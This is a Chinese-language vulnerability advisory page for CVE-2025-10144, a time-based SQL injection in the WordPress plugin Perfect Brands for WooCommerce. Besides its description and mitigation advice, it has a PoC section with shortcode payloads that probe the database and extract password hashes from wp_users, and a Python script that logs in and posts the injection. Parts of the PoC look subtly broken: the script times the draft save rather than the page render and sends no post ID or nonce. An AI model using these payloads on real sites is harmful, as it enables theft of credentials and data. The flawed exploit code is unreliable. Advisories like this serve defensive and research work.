IPBUF安全漏洞报告
English
CVE-2025-10144 CVSS 6.5 中危

CVE-2025-10144 | Perfect Brands for WooCommerce SQL注入漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-10144
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Perfect Brands for WooCommerce

相关标签

SQL注入时间盲注WordPress插件Perfect Brands for WooCommerceCVE-2025-10144短代码注入WooCommerce认证用户漏洞

漏洞概述

CVE-2025-10144是WordPress插件Perfect Brands for WooCommerce中的一个时间型SQL注入漏洞。该插件用于为WooCommerce商店提供品牌管理功能。漏洞源于3.6.2及以下版本中,对`products`短代码的`brands`属性参数处理不当,未能对用户输入进行充分的转义处理,同时现有SQL查询缺乏足够的预处理机制。攻击者可利用此漏洞在已存在的SQL查询中追加恶意SQL语句,实现数据库信息窃取。由于漏洞需要 Contributor 级别权限才能利用,因此主要威胁来自内部用户或被入侵的高权限账户。CVSS评分6.5,属于中等严重程度,但可导致敏感数据泄露,仍需及时修复。

技术细节

漏洞位于Perfect Brands for WooCommerce插件的class-woocommerce.php文件中(约第112行附近)。在处理`products`短代码时,程序直接使用用户提供的`brands`属性值构建SQL查询语句,而未对其进行严格的输入验证和SQL转义。具体来说,当用户在短代码中指定brands参数时,该值被直接拼接到SQL查询的WHERE子句中,攻击者可通过构造特制的brand值(如包含SLEEP或BENCHMARK函数的SQL片段)实现时间盲注攻击。由于插件使用了`wpdb`类但未对用户输入调用`$wpdb->prepare()`方法,导致SQL查询可被注入。攻击者利用时间型SQL注入可逐步提取数据库中的敏感信息,包括用户凭据、订单数据、配置信息等。

攻击链分析

STEP 1
1
攻击者获取WordPress网站的Contributor级别或更高权限账户
STEP 2
2
攻击者创建或编辑文章/页面,插入带有恶意brands属性的products短代码
STEP 3
3
访问该页面时,短代码处理器将brands参数值直接拼接到SQL查询中
STEP 4
4
通过构造包含SLEEP()或BENCHMARK()函数的时间盲注payload,触发数据库延迟响应
STEP 5
5
利用二分法或自动化工具逐步提取数据库中的敏感信息,如用户表、配置数据等
STEP 6
6
获取的管理员凭据可用于进一步控制整个WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Shortcode SQL Injection PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic injection test (time-based) --> [products brands='1' AND (SELECT 1 FROM (SELECT SLEEP(5))test)-- '] <!-- Database version extraction --> [products brands='1' UNION SELECT IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),0)-- '] <!-- Table name enumeration --> [products brands='1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM wp_options)>0 THEN SLEEP(3) ELSE SLEEP(0) END)-- '] <!-- User credential extraction example --> [products brands='1' UNION SELECT 1,2,3,IF(SUBSTRING(user_pass,1,4)=UNHEX('PASSWORD_HASH'),SLEEP(5),0) FROM wp_users LIMIT 1-- '] <!-- Python exploit script for CVE-2025-10144 --> import requests import time target_url = "https://target-site.com/" wp_session = requests.Session() # Login with Contributor+ account wp_session.post(target_url + "wp-login.php", data={ "log": "attacker_username", "pwd": "attacker_password" }) # Time-based blind SQL injection to extract database version def test_sql_injection(): # True condition - should delay response true_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))test)-- " # False condition - no delay false_payload = "1' AND 1=2-- " post_data = { "content": f"[products brands='{true_payload}']", "post_status": "draft" } start = time.time() wp_session.post(target_url + "wp-admin/post.php", data=post_data) elapsed = time.time() - start if elapsed > 4: print("[+] SQL Injection confirmed!") else: print("[-] Injection failed") test_sql_injection()

影响范围

Perfect Brands for WooCommerce <= 3.6.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 临时禁用Perfect Brands for WooCommerce插件;2) 移除所有包含brands属性的products短代码;3) 审查并移除所有高权限账户中不信任的用户;4) 启用WordPress的数据库前缀和常量SALT增强安全性;5) 监控数据库日志中的异常查询模式;6) 考虑使用SQL防火墙插件实时阻断可疑SQL语句。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表